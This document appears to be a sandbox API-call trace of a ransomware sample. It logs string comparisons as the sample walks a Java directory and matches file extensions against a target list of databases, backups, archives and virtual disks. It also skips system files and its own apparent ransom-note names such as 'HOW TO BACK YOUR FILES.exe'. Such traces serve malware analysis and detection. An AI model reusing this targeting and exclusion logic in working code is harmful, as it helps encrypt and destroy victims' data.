	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="dbf") returned 1
	[0054.352] lstrlenW (lpString="mdf") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="mdf") returned 1
	[0054.352] lstrlenW (lpString="mdb") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="mdb") returned 1
	[0054.352] lstrlenW (lpString="sql") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="sql") returned -1
	[0054.352] lstrlenW (lpString="sqlite") returned 6
	[0054.352] lstrcmpiW (lpString1="ST8PDT", lpString2="sqlite") returned 1
	[0054.352] lstrlenW (lpString="sqlite3") returned 7
	[0054.352] lstrlenW (lpString="sqlitedb") returned 8
	[0054.352] lstrlenW (lpString="xml") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="xml") returned -1
	[0054.352] lstrlenW (lpString="$er") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="$er") returned 1
	[0054.352] lstrlenW (lpString="4dd") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="4dd") returned 1
	[0054.352] lstrlenW (lpString="4dl") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="4dl") returned 1
	[0054.352] lstrlenW (lpString="^^^") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="^^^") returned 1
	[0054.352] lstrlenW (lpString="abs") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="abs") returned 1
	[0054.352] lstrlenW (lpString="abx") returned 3
	[0054.352] lstrcmpiW (lpString1="PDT", lpString2="abx") returned 1
	[0054.352] lstrlenW (lpString="accdb") returned 5
	[0054.353] lstrcmpiW (lpString1="T8PDT", lpString2="accdb") returned 1
	[0054.353] lstrlenW (lpString="accdc") returned 5
	[0054.353] lstrcmpiW (lpString1="T8PDT", lpString2="accdc") returned 1
	[0054.353] lstrlenW (lpString="accde") returned 5
	[0054.353] lstrcmpiW (lpString1="T8PDT", lpString2="accde") returned 1
	[0054.353] lstrlenW (lpString="accdr") returned 5
	[0054.353] lstrcmpiW (lpString1="T8PDT", lpString2="accdr") returned 1
	[0054.353] lstrlenW (lpString="accdt") returned 5
	[0054.353] lstrcmpiW (lpString1="T8PDT", lpString2="accdt") returned 1
	[0054.353] lstrlenW (lpString="accdw") returned 5
	[0054.353] lstrcmpiW (lpString1="T8PDT", lpString2="accdw") returned 1
	[0054.353] lstrlenW (lpString="accft") returned 5
	[0054.353] lstrcmpiW (lpString1="T8PDT", lpString2="accft") returned 1
	[0054.353] lstrlenW (lpString="adb") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="adb") returned 1
	[0054.353] lstrlenW (lpString="adb") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="adb") returned 1
	[0054.353] lstrlenW (lpString="ade") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="ade") returned 1
	[0054.353] lstrlenW (lpString="adf") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="adf") returned 1
	[0054.353] lstrlenW (lpString="adn") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="adn") returned 1
	[0054.353] lstrlenW (lpString="adp") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="adp") returned 1
	[0054.353] lstrlenW (lpString="alf") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="alf") returned 1
	[0054.353] lstrlenW (lpString="ask") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="ask") returned 1
	[0054.353] lstrlenW (lpString="btr") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="btr") returned 1
	[0054.353] lstrlenW (lpString="cat") returned 3
	[0054.353] lstrcmpiW (lpString1="PDT", lpString2="cat") returned 1
	[0054.353] lstrlenW (lpString="cdb") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="cdb") returned 1
	[0054.354] lstrlenW (lpString="ckp") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="ckp") returned 1
	[0054.354] lstrlenW (lpString="cma") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="cma") returned 1
	[0054.354] lstrlenW (lpString="cpd") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="cpd") returned 1
	[0054.354] lstrlenW (lpString="dacpac") returned 6
	[0054.354] lstrcmpiW (lpString1="ST8PDT", lpString2="dacpac") returned 1
	[0054.354] lstrlenW (lpString="dad") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dad") returned 1
	[0054.354] lstrlenW (lpString="dadiagrams") returned 10
	[0054.354] lstrlenW (lpString="daschema") returned 8
	[0054.354] lstrlenW (lpString="db-journal") returned 10
	[0054.354] lstrlenW (lpString="db-shm") returned 6
	[0054.354] lstrcmpiW (lpString1="ST8PDT", lpString2="db-shm") returned 1
	[0054.354] lstrlenW (lpString="db-wal") returned 6
	[0054.354] lstrcmpiW (lpString1="ST8PDT", lpString2="db-wal") returned 1
	[0054.354] lstrlenW (lpString="dbc") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dbc") returned 1
	[0054.354] lstrlenW (lpString="dbs") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dbs") returned 1
	[0054.354] lstrlenW (lpString="dbt") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dbt") returned 1
	[0054.354] lstrlenW (lpString="dbv") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dbv") returned 1
	[0054.354] lstrlenW (lpString="dbx") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dbx") returned 1
	[0054.354] lstrlenW (lpString="dcb") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dcb") returned 1
	[0054.354] lstrlenW (lpString="dct") returned 3
	[0054.354] lstrcmpiW (lpString1="PDT", lpString2="dct") returned 1
	[0054.354] lstrlenW (lpString="dcx") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="dcx") returned 1
	[0054.355] lstrlenW (lpString="ddl") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="ddl") returned 1
	[0054.355] lstrlenW (lpString="dlis") returned 4
	[0054.355] lstrcmpiW (lpString1="8PDT", lpString2="dlis") returned -1
	[0054.355] lstrlenW (lpString="dp1") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="dp1") returned 1
	[0054.355] lstrlenW (lpString="dqy") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="dqy") returned 1
	[0054.355] lstrlenW (lpString="dsk") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="dsk") returned 1
	[0054.355] lstrlenW (lpString="dsn") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="dsn") returned 1
	[0054.355] lstrlenW (lpString="dtsx") returned 4
	[0054.355] lstrcmpiW (lpString1="8PDT", lpString2="dtsx") returned -1
	[0054.355] lstrlenW (lpString="dxl") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="dxl") returned 1
	[0054.355] lstrlenW (lpString="eco") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="eco") returned 1
	[0054.355] lstrlenW (lpString="ecx") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="ecx") returned 1
	[0054.355] lstrlenW (lpString="edb") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="edb") returned 1
	[0054.355] lstrlenW (lpString="epim") returned 4
	[0054.355] lstrcmpiW (lpString1="8PDT", lpString2="epim") returned -1
	[0054.355] lstrlenW (lpString="fcd") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="fcd") returned 1
	[0054.355] lstrlenW (lpString="fdb") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="fdb") returned 1
	[0054.355] lstrlenW (lpString="fic") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="fic") returned 1
	[0054.355] lstrlenW (lpString="flexolibrary") returned 12
	[0054.355] lstrlenW (lpString="fm5") returned 3
	[0054.355] lstrcmpiW (lpString1="PDT", lpString2="fm5") returned 1
	[0054.356] lstrlenW (lpString="fmp") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="fmp") returned 1
	[0054.356] lstrlenW (lpString="fmp12") returned 5
	[0054.356] lstrcmpiW (lpString1="T8PDT", lpString2="fmp12") returned 1
	[0054.356] lstrlenW (lpString="fmpsl") returned 5
	[0054.356] lstrcmpiW (lpString1="T8PDT", lpString2="fmpsl") returned 1
	[0054.356] lstrlenW (lpString="fol") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="fol") returned 1
	[0054.356] lstrlenW (lpString="fp3") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="fp3") returned 1
	[0054.356] lstrlenW (lpString="fp4") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="fp4") returned 1
	[0054.356] lstrlenW (lpString="fp5") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="fp5") returned 1
	[0054.356] lstrlenW (lpString="fp7") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="fp7") returned 1
	[0054.356] lstrlenW (lpString="fpt") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="fpt") returned 1
	[0054.356] lstrlenW (lpString="frm") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="frm") returned 1
	[0054.356] lstrlenW (lpString="gdb") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="gdb") returned 1
	[0054.356] lstrlenW (lpString="gdb") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="gdb") returned 1
	[0054.356] lstrlenW (lpString="grdb") returned 4
	[0054.356] lstrcmpiW (lpString1="8PDT", lpString2="grdb") returned -1
	[0054.356] lstrlenW (lpString="gwi") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="gwi") returned 1
	[0054.356] lstrlenW (lpString="hdb") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="hdb") returned 1
	[0054.356] lstrlenW (lpString="his") returned 3
	[0054.356] lstrcmpiW (lpString1="PDT", lpString2="his") returned 1
	[0054.356] lstrlenW (lpString="ib") returned 2
	[0054.356] lstrcmpiW (lpString1="DT", lpString2="ib") returned -1
	[0054.357] lstrlenW (lpString="idb") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="idb") returned 1
	[0054.357] lstrlenW (lpString="ihx") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="ihx") returned 1
	[0054.357] lstrlenW (lpString="itdb") returned 4
	[0054.357] lstrcmpiW (lpString1="8PDT", lpString2="itdb") returned -1
	[0054.357] lstrlenW (lpString="itw") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="itw") returned 1
	[0054.357] lstrlenW (lpString="jet") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="jet") returned 1
	[0054.357] lstrlenW (lpString="jtx") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="jtx") returned 1
	[0054.357] lstrlenW (lpString="kdb") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="kdb") returned 1
	[0054.357] lstrlenW (lpString="kexi") returned 4
	[0054.357] lstrcmpiW (lpString1="8PDT", lpString2="kexi") returned -1
	[0054.357] lstrlenW (lpString="kexic") returned 5
	[0054.357] lstrcmpiW (lpString1="T8PDT", lpString2="kexic") returned 1
	[0054.357] lstrlenW (lpString="kexis") returned 5
	[0054.357] lstrcmpiW (lpString1="T8PDT", lpString2="kexis") returned 1
	[0054.357] lstrlenW (lpString="lgc") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="lgc") returned 1
	[0054.357] lstrlenW (lpString="lwx") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="lwx") returned 1
	[0054.357] lstrlenW (lpString="maf") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="maf") returned 1
	[0054.357] lstrlenW (lpString="maq") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="maq") returned 1
	[0054.357] lstrlenW (lpString="mar") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="mar") returned 1
	[0054.357] lstrlenW (lpString="marshal") returned 7
	[0054.357] lstrlenW (lpString="mas") returned 3
	[0054.357] lstrcmpiW (lpString1="PDT", lpString2="mas") returned 1
	[0054.357] lstrlenW (lpString="mav") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mav") returned 1
	[0054.358] lstrlenW (lpString="maw") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="maw") returned 1
	[0054.358] lstrlenW (lpString="mdbhtml") returned 7
	[0054.358] lstrlenW (lpString="mdn") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mdn") returned 1
	[0054.358] lstrlenW (lpString="mdt") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mdt") returned 1
	[0054.358] lstrlenW (lpString="mfd") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mfd") returned 1
	[0054.358] lstrlenW (lpString="mpd") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mpd") returned 1
	[0054.358] lstrlenW (lpString="mrg") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mrg") returned 1
	[0054.358] lstrlenW (lpString="mud") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mud") returned 1
	[0054.358] lstrlenW (lpString="mwb") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="mwb") returned 1
	[0054.358] lstrlenW (lpString="myd") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="myd") returned 1
	[0054.358] lstrlenW (lpString="ndf") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="ndf") returned 1
	[0054.358] lstrlenW (lpString="nnt") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="nnt") returned 1
	[0054.358] lstrlenW (lpString="nrmlib") returned 6
	[0054.358] lstrcmpiW (lpString1="ST8PDT", lpString2="nrmlib") returned 1
	[0054.358] lstrlenW (lpString="ns2") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="ns2") returned 1
	[0054.358] lstrlenW (lpString="ns3") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="ns3") returned 1
	[0054.358] lstrlenW (lpString="ns4") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="ns4") returned 1
	[0054.358] lstrlenW (lpString="nsf") returned 3
	[0054.358] lstrcmpiW (lpString1="PDT", lpString2="nsf") returned 1
	[0054.359] lstrlenW (lpString="nv") returned 2
	[0054.359] lstrcmpiW (lpString1="DT", lpString2="nv") returned -1
	[0054.359] lstrlenW (lpString="nv2") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="nv2") returned 1
	[0054.359] lstrlenW (lpString="nwdb") returned 4
	[0054.359] lstrcmpiW (lpString1="8PDT", lpString2="nwdb") returned -1
	[0054.359] lstrlenW (lpString="nyf") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="nyf") returned 1
	[0054.359] lstrlenW (lpString="odb") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="odb") returned 1
	[0054.359] lstrlenW (lpString="odb") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="odb") returned 1
	[0054.359] lstrlenW (lpString="oqy") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="oqy") returned 1
	[0054.359] lstrlenW (lpString="ora") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="ora") returned 1
	[0054.359] lstrlenW (lpString="orx") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="orx") returned 1
	[0054.359] lstrlenW (lpString="owc") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="owc") returned 1
	[0054.359] lstrlenW (lpString="p96") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="p96") returned 1
	[0054.359] lstrlenW (lpString="p97") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="p97") returned 1
	[0054.359] lstrlenW (lpString="pan") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="pan") returned 1
	[0054.359] lstrlenW (lpString="pdb") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="pdb") returned 1
	[0054.359] lstrlenW (lpString="pdm") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="pdm") returned 1
	[0054.359] lstrlenW (lpString="pnz") returned 3
	[0054.359] lstrcmpiW (lpString1="PDT", lpString2="pnz") returned -1
	[0054.359] lstrlenW (lpString="qry") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="qry") returned -1
	[0054.360] lstrlenW (lpString="qvd") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="qvd") returned -1
	[0054.360] lstrlenW (lpString="rbf") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="rbf") returned -1
	[0054.360] lstrlenW (lpString="rctd") returned 4
	[0054.360] lstrcmpiW (lpString1="8PDT", lpString2="rctd") returned -1
	[0054.360] lstrlenW (lpString="rod") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="rod") returned -1
	[0054.360] lstrlenW (lpString="rodx") returned 4
	[0054.360] lstrcmpiW (lpString1="8PDT", lpString2="rodx") returned -1
	[0054.360] lstrlenW (lpString="rpd") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="rpd") returned -1
	[0054.360] lstrlenW (lpString="rsd") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="rsd") returned -1
	[0054.360] lstrlenW (lpString="sas7bdat") returned 8
	[0054.360] lstrlenW (lpString="sbf") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="sbf") returned -1
	[0054.360] lstrlenW (lpString="scx") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="scx") returned -1
	[0054.360] lstrlenW (lpString="sdb") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="sdb") returned -1
	[0054.360] lstrlenW (lpString="sdc") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="sdc") returned -1
	[0054.360] lstrlenW (lpString="sdf") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="sdf") returned -1
	[0054.360] lstrlenW (lpString="sis") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="sis") returned -1
	[0054.360] lstrlenW (lpString="spq") returned 3
	[0054.360] lstrcmpiW (lpString1="PDT", lpString2="spq") returned -1
	[0054.360] lstrlenW (lpString="te") returned 2
	[0054.360] lstrcmpiW (lpString1="DT", lpString2="te") returned -1
	[0054.360] lstrlenW (lpString="teacher") returned 7
	[0054.360] lstrlenW (lpString="tmd") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="tmd") returned -1
	[0054.361] lstrlenW (lpString="tps") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="tps") returned -1
	[0054.361] lstrlenW (lpString="trc") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="trc") returned -1
	[0054.361] lstrlenW (lpString="trc") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="trc") returned -1
	[0054.361] lstrlenW (lpString="trm") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="trm") returned -1
	[0054.361] lstrlenW (lpString="udb") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="udb") returned -1
	[0054.361] lstrlenW (lpString="udl") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="udl") returned -1
	[0054.361] lstrlenW (lpString="usr") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="usr") returned -1
	[0054.361] lstrlenW (lpString="v12") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="v12") returned -1
	[0054.361] lstrlenW (lpString="vis") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="vis") returned -1
	[0054.361] lstrlenW (lpString="vpd") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="vpd") returned -1
	[0054.361] lstrlenW (lpString="vvv") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="vvv") returned -1
	[0054.361] lstrlenW (lpString="wdb") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="wdb") returned -1
	[0054.361] lstrlenW (lpString="wmdb") returned 4
	[0054.361] lstrcmpiW (lpString1="8PDT", lpString2="wmdb") returned -1
	[0054.361] lstrlenW (lpString="wrk") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="wrk") returned -1
	[0054.361] lstrlenW (lpString="xdb") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="xdb") returned -1
	[0054.361] lstrlenW (lpString="xld") returned 3
	[0054.361] lstrcmpiW (lpString1="PDT", lpString2="xld") returned -1
	[0054.361] lstrlenW (lpString="xmlff") returned 5
	[0054.362] lstrcmpiW (lpString1="T8PDT", lpString2="xmlff") returned -1
	[0054.362] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemV", cAlternateFileName="")) returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="Apollon865.txt.exe") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2=".") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="..") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="windows") returned -1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="bootmgr") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="temp") returned -1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="pagefile.sys") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="boot") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="ids.txt") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="ntuser.dat") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="perflogs") returned 1
	[0054.362] lstrcmpiW (lpString1="SystemV", lpString2="MSBuild") returned 1
	[0054.362] lstrlenW (lpString="SystemV") returned 7
	[0054.362] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT") returned 47
	[0054.362] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="SystemV" | out: lpString1="SystemV") returned="SystemV"
	[0054.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0054.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5800
	[0054.362] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fcb0
	[0054.362] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WET", cAlternateFileName="")) returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="Apollon865.txt.exe") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2=".") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="..") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="windows") returned -1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="bootmgr") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="temp") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="pagefile.sys") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="boot") returned 1
	[0054.362] lstrcmpiW (lpString1="WET", lpString2="ids.txt") returned 1
	[0054.363] lstrcmpiW (lpString1="WET", lpString2="ntuser.dat") returned 1
	[0054.363] lstrcmpiW (lpString1="WET", lpString2="perflogs") returned 1
	[0054.363] lstrcmpiW (lpString1="WET", lpString2="MSBuild") returned 1
	[0054.363] lstrlenW (lpString="WET") returned 3
	[0054.363] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned 47
	[0054.363] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="WET" | out: lpString1="WET") returned="WET"
	[0054.363] lstrlenW (lpString="WET") returned 3
	[0054.363] lstrlenW (lpString="Apollon865") returned 10
	[0054.363] lstrlenW (lpString=".dll") returned 4
	[0054.363] lstrlenW (lpString=".lnk") returned 4
	[0054.363] lstrlenW (lpString=".ini") returned 4
	[0054.363] lstrlenW (lpString=".sys") returned 4
	[0054.363] lstrlenW (lpString="WET") returned 3
	[0054.363] lstrlenW (lpString="bak") returned 3
	[0054.363] lstrlenW (lpString="ba_") returned 3
	[0054.363] lstrlenW (lpString="dbb") returned 3
	[0054.363] lstrlenW (lpString="vmdk") returned 4
	[0054.363] lstrlenW (lpString="rar") returned 3
	[0054.363] lstrlenW (lpString="zip") returned 3
	[0054.363] lstrlenW (lpString="tgz") returned 3
	[0054.363] lstrlenW (lpString="vbox") returned 4
	[0054.363] lstrlenW (lpString="vdi") returned 3
	[0054.363] lstrlenW (lpString="vhd") returned 3
	[0054.363] lstrlenW (lpString="vhdx") returned 4
	[0054.363] lstrlenW (lpString="avhd") returned 4
	[0054.363] lstrlenW (lpString="db") returned 2
	[0054.363] lstrcmpiW (lpString1="ET", lpString2="db") returned 1
	[0054.363] lstrlenW (lpString="db2") returned 3
	[0054.363] lstrlenW (lpString="db3") returned 3
	[0054.363] lstrlenW (lpString="dbf") returned 3
	[0054.363] lstrlenW (lpString="mdf") returned 3
	[0054.363] lstrlenW (lpString="mdb") returned 3
	[0054.363] lstrlenW (lpString="sql") returned 3
	[0054.363] lstrlenW (lpString="sqlite") returned 6
	[0054.363] lstrlenW (lpString="sqlite3") returned 7
	[0054.364] lstrlenW (lpString="sqlitedb") returned 8
	[0054.364] lstrlenW (lpString="xml") returned 3
	[0054.364] lstrlenW (lpString="$er") returned 3
	[0054.364] lstrlenW (lpString="4dd") returned 3
	[0054.364] lstrlenW (lpString="4dl") returned 3
	[0054.364] lstrlenW (lpString="^^^") returned 3
	[0054.364] lstrlenW (lpString="abs") returned 3
	[0054.364] lstrlenW (lpString="abx") returned 3
	[0054.364] lstrlenW (lpString="accdb") returned 5
	[0054.364] lstrlenW (lpString="accdc") returned 5
	[0054.364] lstrlenW (lpString="accde") returned 5
	[0054.364] lstrlenW (lpString="accdr") returned 5
	[0054.364] lstrlenW (lpString="accdt") returned 5
	[0054.364] lstrlenW (lpString="accdw") returned 5
	[0054.364] lstrlenW (lpString="accft") returned 5
	[0054.364] lstrlenW (lpString="adb") returned 3
	[0054.364] lstrlenW (lpString="adb") returned 3
	[0054.364] lstrlenW (lpString="ade") returned 3
	[0054.364] lstrlenW (lpString="adf") returned 3
	[0054.364] lstrlenW (lpString="adn") returned 3
	[0054.364] lstrlenW (lpString="adp") returned 3
	[0054.364] lstrlenW (lpString="alf") returned 3
	[0054.364] lstrlenW (lpString="ask") returned 3
	[0054.364] lstrlenW (lpString="btr") returned 3
	[0054.364] lstrlenW (lpString="cat") returned 3
	[0054.364] lstrlenW (lpString="cdb") returned 3
	[0054.364] lstrlenW (lpString="ckp") returned 3
	[0054.364] lstrlenW (lpString="cma") returned 3
	[0054.364] lstrlenW (lpString="cpd") returned 3
	[0054.364] lstrlenW (lpString="dacpac") returned 6
	[0054.364] lstrlenW (lpString="dad") returned 3
	[0054.364] lstrlenW (lpString="dadiagrams") returned 10
	[0054.364] lstrlenW (lpString="daschema") returned 8
	[0054.364] lstrlenW (lpString="db-journal") returned 10
	[0054.364] lstrlenW (lpString="db-shm") returned 6
	[0054.364] lstrlenW (lpString="db-wal") returned 6
	[0054.365] lstrlenW (lpString="dbc") returned 3
	[0054.365] lstrlenW (lpString="dbs") returned 3
	[0054.365] lstrlenW (lpString="dbt") returned 3
	[0054.365] lstrlenW (lpString="dbv") returned 3
	[0054.365] lstrlenW (lpString="dbx") returned 3
	[0054.365] lstrlenW (lpString="dcb") returned 3
	[0054.365] lstrcmpiW (lpString1="ET", lpString2="ib") returned -1
